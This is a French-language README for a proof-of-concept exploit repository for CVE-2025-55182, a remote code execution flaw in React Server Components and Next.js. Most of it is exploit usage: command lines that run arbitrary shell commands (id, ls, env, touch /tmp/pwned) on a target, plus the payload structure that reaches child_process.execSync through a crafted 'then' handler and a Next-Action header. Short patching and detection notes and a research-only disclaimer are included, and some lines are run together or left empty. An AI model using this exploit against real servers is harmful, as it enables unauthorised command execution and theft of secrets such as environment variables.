
PoC pour React2Shell (CVE-2025-55182)
Ce dépôt contient une preuve de concept pour CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans React Server Components. Ceci est destiné uniquement à des tests de sécurité autorisés et à des fins de recherche.
React :
Next.js :
La vulnérabilité exploite une désérialisation non sécurisée dans le protocole Flight de React Server Components. Lorsqu'un serveur reçoit une charge utile spécialement conçue, il ne parvient pas à valider correctement la structure avant la désérialisation, ce qui permet à des données contrôlées par l'attaquant de manipuler l'exécution côté serveur.
then personnaliséeprocess.mainModule.require('child_process')npm install
npm run dev
Le serveur démarrera sur http://localhost:3000
app/
├── page.js # Main page with ServerForm
├── ServerForm.js # Client component with form
├── actions.js # Vulnerable Server Action
└── layout.js # Root layout
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target : URL cible (requis)-c, --command : Commande shell à exécuter (par défaut : id)--check-only : Vérifier uniquement si la cible semble vulnérableVérifier si la cible est vulnérable :
python3 exploit.py -t http://localhost:3000 --check-only
Exécuter des commandes arbitraires :
# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"
# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"
L'exploit utilise des données de formulaire multipart avec :
Field "0": Malicious JSON with custom 'then' handler
Field "1": Reference to field 0 ($@0)
Header: Next-Action: x (triggers RSC processing)
La charge utile manipule l'objet interne _response pour exécuter :
process.mainModule.require('child_process').execSync('<command>')
Mettre à jour React :
npm install [email protected] [email protected]
Mettre à jour Next.js :
npm install [email protected] # or latest patched version
Next-Action$@then suspectes dans les corps de requêtePOST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@
Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de ces informations.
NE PAS :
Licence MIT - Uniquement à des fins de recherche en sécurité